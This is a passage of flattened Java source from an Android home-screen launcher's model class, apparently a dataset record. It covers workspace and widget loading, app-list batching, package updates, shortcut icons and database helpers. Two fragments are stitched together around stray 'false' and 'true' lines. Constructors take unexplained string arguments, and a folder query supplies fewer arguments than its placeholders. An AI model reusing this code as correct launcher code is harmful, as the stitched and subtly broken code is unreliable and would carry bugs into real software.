shortcut " + id + ", removing it"); contentResolver.delete(LauncherSettings.Favorites.getContentUri( id, false), null, null); } break; case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: id = c.getLong(idIndex); FolderInfo folderInfo = findOrMakeFolder(sFolders, id); folderInfo.title = c.getString(titleIndex); folderInfo.id = id; container = c.getInt(containerIndex); folderInfo.container = container; folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, folderInfo)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: sWorkspaceItems.add(folderInfo); break; } sItemsIdMap.put(folderInfo.id, folderInfo); sFolders.put(folderInfo.id, folderInfo); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: // Read all Launcher-specific widget details int appWidgetId = c.getInt(appWidgetIdIndex); id = c.getLong(idIndex); final AppWidgetProviderInfo provider = widgets.getAppWidgetInfo(appWidgetId); if (!isSafeMode && (provider == null || provider.provider == null || provider.provider.getPackageName() == null)) { Log.e(TAG, "Deleting widget that isn't installed anymore: id=" + id + " appWidgetId=" + appWidgetId); itemsToRemove.add(id); } else { appWidgetInfo = new LauncherAppWidgetInfo(appWidgetId, "5"); appWidgetInfo.id = id; appWidgetInfo.screen = c.getInt(screenIndex); appWidgetInfo.cellX = c.getInt(cellXIndex); appWidgetInfo.cellY = c.getInt(cellYIndex); appWidgetInfo.spanX = c.getInt(spanXIndex); appWidgetInfo.spanY = c.getInt(spanYIndex); container = c.getInt(containerIndex); if (container != LauncherSettings.Favorites.CONTAINER_DESKTOP && container != LauncherSettings.Favorites.CONTAINER_HOTSEAT) { Log.e(TAG, "Widget found where container " + "!= CONTAINER_DESKTOP nor CONTAINER_HOTSEAT - ignoring!"); continue; } appWidgetInfo.container = c.getInt(containerIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, appWidgetInfo)) { break; } sItemsIdMap.put(appWidgetInfo.id, appWidgetInfo); sAppWidgets.add(appWidgetInfo); } break; } } catch (Exception e) { Log.w(TAG, "Desktop items loading interrupted:", e); } } } finally { c.close(); } if (itemsToRemove.size() > 0) { ContentProviderClient client = contentResolver.acquireContentProviderClient( LauncherSettings.Favorites.CONTENT_URI); // Remove dead items for (long id : itemsToRemove) { if (DEBUG_LOADERS) { Log.d(TAG, "Removed id = " + id); } // Don't notify content observers try { client.delete(LauncherSettings.Favorites.getContentUri(id, false), null, null); } catch (RemoteException e) { Log.w(TAG, "Could not remove id = " + id); } } } if (DEBUG_LOADERS) { Log.d(TAG, "loaded workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); Log.d(TAG, "workspace layout: "); for (int y = 0; y < mCellCountY; y++) { String line = ""; for (int s = 0; s < Launcher.SCREEN_COUNT; s++) { if (s > 0) { line += " | "; } for (int x = 0; x < mCellCountX; x++) { line += ((occupied[s][x][y] != null) ? "#" : "."); } } Log.d(TAG, "[ " + line + " ]"); } } } /** * Read everything out of our database. */ private void bindWorkspace() { final long t = SystemClock.uptimeMillis(); // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher"); return; } int N; // Tell the workspace that we're about to start firing items at it mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.startBinding(); } } }); // Unbind previously bound workspace items to prevent a leak of AppWidgetHostViews. final ArrayList<ItemInfo> workspaceItems = unbindWorkspaceItemsOnMainThread(); // Add the items to the workspace. N = workspaceItems.size(); for (int i=0; i<N; i+=ITEMS_CHUNK) { final int start = i; final int chunkSize = (i+ITEMS_CHUNK <= N) ? ITEMS_CHUNK : (N-i); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindItems(workspaceItems, start, start+chunkSize); } } }); } // Ensure that we don't use the same folders data structure on the main thread final HashMap<Long, FolderInfo> folders = new HashMap<Long, FolderInfo>(sFolders); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindFolders(folders); } } }); // Wait until the queue goes empty. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "Going to start binding widgets soon."); } } }); // Bind the widgets, one at a time. // WARNING: this is calling into the workspace from the background thread, // but since getCurrentScreen() just returns the int, we should be okay. This // is just a hint for the order, and if it's wrong, we'll be okay. // TODO: instead, we should have that push the current screen into here. final int currentScreen = oldCallbacks.getCurrentWorkspaceScreen(); N = sAppWidgets.size(); // once for the current screen for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen == currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // once for the other screens for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen != currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // Tell the workspace that we're done. mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.finishBindingItems(); } } }); // If we're profiling, this is the last thing in the queue. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "bound workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAndBindAllApps() { if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindAllApps mAllAppsLoaded=" + mAllAppsLoaded); } if (!mAllAppsLoaded) { loadAllAppsByBatch(); if (mStopped) { return; } mAllAppsLoaded = true; } else { onlyBindAllApps(); } } private void onlyBindAllApps() { final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (onlyBindAllApps)"); return; } // shallow copy final ArrayList<ApplicationInfo> list = (ArrayList<ApplicationInfo>)mAllAppsList.data.clone(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); final Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAllApplications(list); } if (DEBUG_LOADERS) { Log.d(TAG, "bound all " + list.size() + " apps from cache in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAllAppsByBatch() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (loadAllAppsByBatch)"); return; } final Intent mainIntent = new Intent(Intent.ACTION_MAIN, null); mainIntent.addCategory(Intent.CATEGORY_LAUNCHER); final PackageManager packageManager = mContext.getPackageManager(); List<ResolveInfo> apps = null; int N = Integer.MAX_VALUE; int startIndex; int i=0; int batchSize = -1; while (i < N && !mStopped) { if (i == 0) { mAllAppsList.clear(); final long qiaTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; apps = packageManager.queryIntentActivities(mainIntent, 0); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities took " + (SystemClock.uptimeMillis()-qiaTime) + "ms"); } if (apps == null) { return; } N = apps.size(); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities got " + N + " apps"); } if (N == 0) { // There are no apps?!? return; } if (mBatchSize == 0) { batchSize = N; } else { batchSize = mBatchSize; } final long sortTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; Collections.sort(apps, new LauncherModel.ShortcutNameComparator(packageManager, mLabelCache)); if (DEBUG_LOADERS) { Log.d(TAG, "sort took " + (SystemClock.uptimeMillis()-sortTime) + "ms"); } } final long t2 = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; startIndex = i; for (int j=0; i<N && j<batchSize; j++) { // This builds the icon bitmaps. mAllAppsList.add(new ApplicationInfo(packageManager, apps.get(i), mIconCache, mLabelCache, "6")); i++; } final boolean first = i <= batchSize; final Callbacks callbacks = tryGetCallbacks(oldCallbacks); final ArrayList<ApplicationInfo> added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); if (callbacks != null) { if (first) { callbacks.bindAllApplications(added); } else { callbacks.bindAppsAdded(added); } if (DEBUG_LOADERS) { Log.d(TAG, "bound " + added.size() + " apps in " + (SystemClock.uptimeMillis() - t) + "ms"); } } else { Log.i(TAG, "not binding apps: no Launcher activity"); } } }); if (DEBUG_LOADERS) { Log.d(TAG, "batch of " + (i-startIndex) + " icons processed in " + (SystemClock.uptimeMillis()-t2) + "ms"); } if (mAllAppsLoadDelay > 0 && i < N) { try { if (DEBUG_LOADERS) { Log.d(TAG, "sleeping for " + mAllAppsLoadDelay + "ms"); } Thread.sleep(mAllAppsLoadDelay); } catch (InterruptedException exc) { } } } if (DEBUG_LOADERS) { Log.d(TAG, "cached all " + N + " apps in " + (SystemClock.uptimeMillis()-t) + "ms" + (mAllAppsLoadDelay > 0 ? " (including delay)" : "")); } } public void dumpState() { Log.d(TAG, "mLoaderTask.mContext=" + mContext); Log.d(TAG, "mLoaderTask.mWaitThread=" + mWaitThread); Log.d(TAG, "mLoaderTask.mIsLaunching=" + mIsLaunching); Log.d(TAG, "mLoaderTask.mStopped=" + mStopped); Log.d(TAG, "mLoaderTask.mLoadAndBindStepFinished=" + mLoadAndBindStepFinished); Log.d(TAG, "mItems size=" + sWorkspaceItems.size()); } } void enqueuePackageUpdated(PackageUpdatedTask task) { sWorker.post(task); } private class PackageUpdatedTask implements Runnable { int mOp; String[] mPackages; public static final int OP_NONE = 0; public static final int OP_ADD = 1; public static final int OP_UPDATE = 2; public static final int OP_REMOVE = 3; // uninstlled public static final int OP_UNAVAILABLE = 4; // external media unmounted public PackageUpdatedTask(int op, String[] packages) { mOp = op; mPackages = packages; } public void run() { final Context context = mApp; final String[] packages = mPackages; final int N = packages.length; switch (mOp) { case OP_ADD: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.addPackage " + packages[i]); mAllAppsList.addPackage(context, packages[i]); } break; case OP_UPDATE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.updatePackage " + packages[i]); mAllAppsList.updatePackage(context, packages[i]); } break; case OP_REMOVE: case OP_UNAVAILABLE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.removePackage " + packages[i]); mAllAppsList.removePackage(packages[i]); } break; } ArrayList<ApplicationInfo> added = null; ArrayList<ApplicationInfo> removed = null; ArrayList<ApplicationInfo> modified = null; if (mAllAppsList.added.size() > 0) { added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); } if (mAllAppsList.removed.size() > 0) { removed = mAllAppsList.removed; mAllAppsList.removed = new ArrayList<ApplicationInfo>(); for (ApplicationInfo info: removed) { mIconCache.remove(info.intent.getComponent()); } } if (mAllAppsList.modified.size() > 0) { modified = mAllAppsList.modified; mAllAppsList.modified = new ArrayList<ApplicationInfo>(); } final Callbacks callbacks = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == null) { Log.w(TAG, "Nobody to tell about the new app. Launcher is probably loading."); return; } if (added != null) { final ArrayList<ApplicationInfo> addedFinal = added; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsAdded(addedFinal); } } }); } if (modified != null) { final ArrayList<ApplicationInfo> modifiedFinal = modified; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsUpdated(modifiedFinal); } } }); } if (removed != null) { final boolean permanent = mOp != OP_UNAVAILABLE; final ArrayList<ApplicationInfo> removedFinal = removed; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsRemoved(removedFinal, permanent); } } }); } mHandler.post(new Runnable() { @Override public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindPackagesUpdated(); } } }); } } /** * This is called from the code that adds shortcuts from the intent receiver. This * doesn't have a Cursor, but */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context) { return getShortcutInfo(manager, intent, context, null, -1, -1, null); } /** * Make an ShortcutInfo object for a shortcut that is an application. * * If c is not null, then it will be used to fill in missing data like the title and icon. */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context, Cursor c, int iconIndex, int titleIndex, HashMap<Object, CharSequence> labelCache) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("7"); ComponentName componentName = intent.getComponent(); if (componentName == null) { return null; } // TODO: See if the PackageManager knows about this case. If it doesn't // then return null & delete this. // the resource -- This may implicitly give us back the fallback icon, // but don't worry about that. All we're doing with usingFallbackIcon is // to avoid saving lots of copies of that in the database, and most apps // have icons anyway. final ResolveInfo resolveInfo = manager.resolveActivity(intent, 0); if (resolveInfo != null) { icon = mIconCache.getIcon(componentName, resolveInfo, labelCache); } // the db if (icon == null) { if (c != null) { icon = getIconFromCursor(c, iconIndex, context); } } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } info.setIcon(icon); // from the resource if (resolveInfo != null) { ComponentName key = LauncherModel.getComponentNameFromResolveInfo(resolveInfo); if (labelCache != null && labelCache.containsKey(key)) { info.title = labelCache.get(key); } else { info.title = resolveInfo.activityInfo.loadLabel(manager); if (labelCache != null) { labelCache.put(key, info.title); } } } // from the db if (info.title == null) { if (c != null) { info.title = c.getString(titleIndex); } } // fall back to the class name of the activity if (info.title == null) { info.title = componentName.getClassName(); } info.itemType = LauncherSettings.Favorites.ITEM_TYPE_APPLICATION; return info; } /** * Make an ShortcutInfo object for a shortcut that isn't an application. */ private ShortcutInfo getShortcutInfo(Cursor c, Context context, int iconTypeIndex, int iconPackageIndex, int iconResourceIndex, int iconIndex, int titleIndex) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("8"); info.itemType = LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT; // TODO: If there's an explicit component and we can't install that, delete it. info.title = c.getString(titleIndex); int iconType = c.getInt(iconTypeIndex); switch (iconType) { case LauncherSettings.Favorites.ICON_TYPE_RESOURCE: String packageName = c.getString(iconPackageIndex); String resourceName = c.getString(iconResourceIndex); PackageManager packageManager = context.getPackageManager(); info.customIcon = false; // the resource try { Resources resources = packageManager.getResourcesForApplication(packageName); if (resources != null) { final int id = resources.getIdentifier(resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } } catch (Exception e) { // drop this. we have other places to look for icons } // the db if (icon == null) { icon = getIconFromCursor(c, iconIndex, context); } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } break; case LauncherSettings.Favorites.ICON_TYPE_BITMAP: icon = getIconFromCursor(c, iconIndex, context); if (icon == null) { icon = getFallbackIcon(); info.customIcon = false; info.usingFallbackIcon = true; } else { info.customIcon = true; } break; default: icon = getFallbackIcon(); info.usingFallbackIcon = true; info.customIcon = false; break; } info.setIcon(icon); return info; } Bitmap getIconFromCursor(Cursor c, int iconIndex, Context context) { if (false) { Log.d(TAG, "getIconFromCursor app=" + c.getString(c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE))); } byte[] data = c.getBlob(iconIndex); try { return Utilities.createIconBitmap( BitmapFactory.decodeByteArray(data, 0, data.length), context); } catch (Exception e) { return null; } } ShortcutInfo addShortcut(Context context, Intent data, long container, int screen, int cellX, int cellY, boolean notify) { final ShortcutInfo info = infoFromShortcutIntent(context, data, null); addItemToDatabase(context, info, container, screen, cellX, cellY, notify); return info; } /** * Attempts to find an AppWidgetProviderInfo that matches the given component. */ AppWidgetProviderInfo findAppWidgetProviderInfoWithComponent(Context context, ComponentName component) { List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); for (AppWidgetProviderInfo info : widgets) { if (info.provider.equals(component)) { return info; } } return null; } /** * Returns a list of all the widgets that can handle configuration with a particular mimeType. */ List<WidgetMimeTypeHandlerData> resolveWidgetsForMimeType(Context context, String mimeType) { final PackageManager packageManager = context.getPackageManager(); final List<WidgetMimeTypeHandlerData> supportedConfigurationActivities = new ArrayList<WidgetMimeTypeHandlerData>(); final Intent supportsIntent = new Intent(InstallWidgetReceiver.ACTION_SUPPORTS_CLIPDATA_MIMETYPE); supportsIntent.setType(mimeType); // Create a set of widget configuration components that we can test against final List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); final HashMap<ComponentName, AppWidgetProviderInfo> configurationComponentToWidget = new HashMap<ComponentName, AppWidgetProviderInfo>(); for (AppWidgetProviderInfo info : widgets) { configurationComponentToWidget.put(info.configure, info); } // Run through each of the intents that can handle this type of clip data, and cross // reference them with the components that are actual configuration components final List<ResolveInfo> activities = packageManager.queryIntentActivities(supportsIntent, PackageManager.MATCH_DEFAULT_ONLY); for (ResolveInfo info : activities) { final ActivityInfo activityInfo = info.activityInfo; final ComponentName infoComponent = new ComponentName(activityInfo.packageName, activityInfo.name); if (configurationComponentToWidget.containsKey(infoComponent)) { supportedConfigurationActivities.add( new InstallWidgetReceiver.WidgetMimeTypeHandlerData(info, configurationComponentToWidget.get(infoComponent))); } } return supportedConfigurationActivities; } ShortcutInfo infoFromShortcutIntent(Context context, Intent data, Bitmap fallbackIcon) { Intent intent = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_INTENT); String name = data.getStringExtra(Intent.EXTRA_SHORTCUT_NAME); Parcelable bitmap = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON); Bitmap icon = null; boolean customIcon = false; ShortcutIconResource iconResource = null; if (bitmap != null && bitmap instanceof Bitmap) { icon = Utilities.createIconBitmap(new FastBitmapDrawable((Bitmap)bitmap), context); customIcon = true; } else { Parcelable extra = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE); if (extra != null && extra instanceof ShortcutIconResource) { try { iconResource = (ShortcutIconResource) extra; final PackageManager packageManager = context.getPackageManager(); Resources resources = packageManager.getResourcesForApplication( iconResource.packageName); final int id = resources.getIdentifier(iconResource.resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } catch (Exception e) { Log.w(TAG, "Could not load shortcut icon: " + extra); } } } final ShortcutInfo info = new ShortcutInfo("9"); if (icon == null) { if (fallbackIcon != null) { icon = fallbackIcon; } else { icon = getFallbackIcon(); info.usingFallbackIcon = true; } } info.setIcon(icon); info.title = name; info.intent = intent; info.customIcon = customIcon; info.iconResource = iconResource; return info; } boolean queueIconToBeChecked(HashMap<Object, byte[]> cache, ShortcutInfo info, Cursor c, int iconIndex) { // If apps can't be on SD, don't even bother. if (!mAppsCanBeOnExternalStorage) { return false; } // If this icon doesn't have a custom icon, check to see // what's stored in the DB, and if it doesn't match what // we're going to show, store what we are going to show back // into the DB. We do this so when we're loading, if the // package manager can't find an icon (for example because // the app is on SD) then we can use that instead. if (!info.customIcon && !info.usingFallbackIcon) { cache.put(info, c.getBlob(iconIndex)); return true; } return false; } void updateSavedIcon(Context context, ShortcutInfo info, byte[] data) { boolean needSave = false; try { if (data != null) { Bitmap saved = BitmapFactory.decodeByteArray(data, 0, data.length); Bitmap loaded = info.getIcon(mIconCache); needSave = !saved.sameAs(loaded); } else { needSave = true; } } catch (Exception e) { needSave = true; } if (needSave) { Log.d(TAG, "going to save icon bitmap for info=" + info); // This is slower than is ideal, but this only happens once // or when the app is updated with a new icon. updateItemInDatabase(context, info); } } /** * Return an existing FolderInfo object if we have encountered this ID previously, * or make a new one. */ private static FolderInfo findOrMakeFolder(HashMap<Long, FolderInfo> folders, long id) { // See if a placeholder was created for us already FolderInfo folderInfo = folders.get(id); if (folderInfo == null) { // No placeholder -- create a new instance folderInfo = new FolderInfo("10"); folders.put(id, folderInfo); } return folderInfo; } private static final Collator sCollator = Collator.getInstance(); public static final Comparator<ApplicationInfo> APP_NAME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { int result = sCollator.compare(a.title.toString(), b.title.toString()); if (result == 0) { result = a.componentName.compareTo(b.componentName); } return result; } }; public static final Comparator<ApplicationInfo> APP_INSTALL_TIME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { if (a.firstInstallTime < b.firstInstallTime) return 1; if (a.firstInstallTime > b.firstInstallTime) return -1; return 0; } }; public static final Comparator<AppWidgetProviderInfo> WIDGET_NAME_COMPARATOR = new Comparator<AppWidgetProviderInfo>() { public final int compare(AppWidgetProviderInfo a, AppWidgetProviderInfo b) { return sCollator.compare(a.label.toString(), b.label.toString()); } }; static ComponentName getComponentNameFromResolveInfo(ResolveInfo info) { if (info.activityInfo != null) { return new ComponentName(info.activityInfo.packageName, info.activityInfo.name); } else { return new ComponentName(info.serviceInfo.packageName, info.serviceInfo.name); } } public static class ShortcutNameComparator implements Comparator<ResolveInfo> { private PackageManager mPackageManager; private HashMap<Object, CharSequence> mLabelCache; ShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, CharSequence>(); } ShortcutNameComparator(PackageManager pm, HashMap<Object, CharSequence> labelCache) { mPackageManager = pm; mLabelCache = labelCache; } public final int compare(ResolveInfo a, ResolveInfo b) { CharSequence labelA, labelB; ComponentName keyA = LauncherModel.getComponentNameFromResolveInfo(a); ComponentName keyB = LauncherModel.getComponentNameFromResolveInfo(b); if (mLabelCache.containsKey(keyA)) { labelA = mLabelCache.get(keyA); } else { labelA = a.loadLabel(mPackageManager).toString(); mLabelCache.put(keyA, labelA); } if (mLabelCache.containsKey(keyB)) { labelB = mLabelCache.get(keyB); } else { labelB = b.loadLabel(mPackageManager).toString(); mLabelCache.put(keyB, labelB); } return sCollator.compare(labelA, labelB); } }; public static class WidgetAndShortcutNameComparator implements Comparator<Object> { private PackageManager mPackageManager; private HashMap<Object, String> mLabelCache; WidgetAndShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, String>(); } public final int compare(Object a, Object b) { String labelA, labelB; if (mLabelCache.containsKey(a)) { labelA = mLabelCache.get(a); } else { labelA = (a instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) a).label : ((ResolveInfo) a).loadLabel(mPackageManager).toString(); mLabelCache.put(a, labelA); } if (mLabelCache.containsKey(b)) { labelB = mLabelCache.get(b); } else { labelB = (b instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) b).label : ((ResolveInfo) b).loadLabel(mPackageManager).toString(); mLabelCache.put(b, labelB); } return sCollator.compare(labelA, labelB); } }; public void dumpState() { Log.d(TAG, "mCallbacks=" + mCallbacks); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.data", mAllAppsList.data); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.added", mAllAppsList.added); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.removed", mAllAppsList.removed); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.modified", mAllAppsList.modified); if (mLoaderTask != null) { mLoaderTask.dumpState(); } else { Log.d(TAG, "mLoaderTask=null"); } } }
false
true
static boolean shortcutExists(Context context, String title, Intent intent) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { "title", "intent" }, "title=? and intent=?", new String[] { title, intent.toUri(0) }, null); boolean result = false; try { result = c.moveToFirst(); } finally { c.close(); } return result; } /** * Returns an ItemInfo array containing all the items in the LauncherModel. * The ItemInfo.id is not set through this function. */ static ArrayList<ItemInfo> getItemsInLocalCoordinates(Context context) { ArrayList<ItemInfo> items = new ArrayList<ItemInfo>(); final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { LauncherSettings.Favorites.ITEM_TYPE, LauncherSettings.Favorites.CONTAINER, LauncherSettings.Favorites.SCREEN, LauncherSettings.Favorites.CELLX, LauncherSettings.Favorites.CELLY, LauncherSettings.Favorites.SPANX, LauncherSettings.Favorites.SPANY }, null, null, null); final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANY); try { while (c.moveToNext()) { ItemInfo item = new ItemInfo("17"); item.cellX = c.getInt(cellXIndex); item.cellY = c.getInt(cellYIndex); item.spanX = c.getInt(spanXIndex); item.spanY = c.getInt(spanYIndex); item.container = c.getInt(containerIndex); item.itemType = c.getInt(itemTypeIndex); item.screen = c.getInt(screenIndex); items.add(item); } } catch (Exception e) { items.clear(); } finally { c.close(); } return items; } /** * Find a folder in the db, creating the FolderInfo if necessary, and adding it to folderList. */ FolderInfo getFolderById(Context context, HashMap<Long,FolderInfo> folderList, long id) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, null, "_id=? and (itemType=? or itemType=?)", new String[] { String.valueOf(id), String.valueOf(LauncherSettings.Favorites.ITEM_TYPE_FOLDER)}, null); try { if (c.moveToFirst()) { final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int titleIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); FolderInfo folderInfo = null; switch (c.getInt(itemTypeIndex)) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: folderInfo = findOrMakeFolder(folderList, id); break; } folderInfo.title = c.getString(titleIndex); folderInfo.id = id; folderInfo.container = c.getInt(containerIndex); folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); return folderInfo; } } finally { c.close(); } return null; } /** * Add an item to the database in a specified container. Sets the container, screen, cellX and * cellY fields of the item. Also assigns an ID to the item. */ static void addItemToDatabase(Context context, final ItemInfo item, final long container, final int screen, final int cellX, final int cellY, final boolean notify) { item.container = container; item.cellX = cellX; item.cellY = cellY; // We store hotseat items in canonical form which is this orientation invariant position // in the hotseat if (context instanceof Launcher && screen < 0 && container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { item.screen = ((Launcher) context).getHotseat().getOrderInHotseat(cellX, cellY); } else { item.screen = screen; } final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); LauncherApplication app = (LauncherApplication) context.getApplicationContext(); item.id = app.getLauncherProvider().generateNewId(); values.put(LauncherSettings.Favorites._ID, item.id); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); sWorker.post(new Runnable() { public void run() { cr.insert(notify ? LauncherSettings.Favorites.CONTENT_URI : LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, values); if (sItemsIdMap.containsKey(item.id)) { // we should not be adding new items in the db with the same id throw new RuntimeException("Error: ItemInfo id (" + item.id + ") passed to " + "addItemToDatabase already exists." + item.toString()); } sItemsIdMap.put(item.id, item); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.put(item.id, (FolderInfo) item); // Fall through case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: if (item.container == LauncherSettings.Favorites.CONTAINER_DESKTOP || item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { sWorkspaceItems.add(item); } break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.add((LauncherAppWidgetInfo) item); break; } } }); } /** * Creates a new unique child id, for a given cell span across all layouts. */ static int getCellLayoutChildId( long container, int screen, int localCellX, int localCellY, int spanX, int spanY) { return (((int) container & 0xFF) << 24) | (screen & 0xFF) << 16 | (localCellX & 0xFF) << 8 | (localCellY & 0xFF); } static int getCellCountX() { return mCellCountX; } static int getCellCountY() { return mCellCountY; } /** * Updates the model orientation helper to take into account the current layout dimensions * when performing local/canonical coordinate transformations. */ static void updateWorkspaceLayoutCells(int shortAxisCellCount, int longAxisCellCount) { mCellCountX = shortAxisCellCount; mCellCountY = longAxisCellCount; } /** * Update an item to the database in a specified container. */ static void updateItemInDatabase(Context context, final ItemInfo item) { final ContentValues values = new 